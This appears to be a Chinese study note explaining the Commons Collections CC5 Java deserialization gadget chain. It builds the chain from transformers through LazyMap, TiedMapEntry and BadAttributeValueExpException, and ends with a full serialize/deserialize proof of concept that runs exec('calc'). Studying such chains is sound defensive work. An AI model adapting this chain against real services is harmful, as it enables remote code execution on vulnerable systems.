Transformer[] T = { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(T); Map<Object,Object> map = new HashMap(); Map map1 = LazyMap.decorate(map, chainedTransformer);
只是对LazyMap的的get方法调用换了方法
1
TiedMapEntry tiedMapEntry = new TiedMapEntry(map1, "111");
这里选择了TideMapEntry类的getValue方法调用了get
tostring方法调用了getValue方法
toString方法是在BadAttributeValueExpException中调用
1 2 3 4 5
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class m = BadAttributeValueExpException.class; Field f = m.getDeclaredField("val"); f.setAccessible(true); f.set(badAttributeValueExpException, tiedMapEntry);
public class cc5 { public static void main(String[] args) throws Exception { Class c = Runtime.class;
Transformer[] T = { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(T); Map<Object,Object> map = new HashMap(); Map map1 = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(map1, "111"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class m = BadAttributeValueExpException.class; Field f = m.getDeclaredField("val"); f.setAccessible(true); f.set(badAttributeValueExpException, tiedMapEntry); searilize(badAttributeValueExpException); unsearilize("ser.bin");
// Class c = Runtime.class; // Method m = c.getDeclaredMethod("getRuntime",null); // m.setAccessible(true); // Object o = m.invoke(null,null); // Method m2 = c.getDeclaredMethod("exec",String.class); // m2.setAccessible(true); // m2.invoke(o,"calc");
} public static void searilize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unsearilize(String s) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(s)); return objectInputStream.readObject(); }; }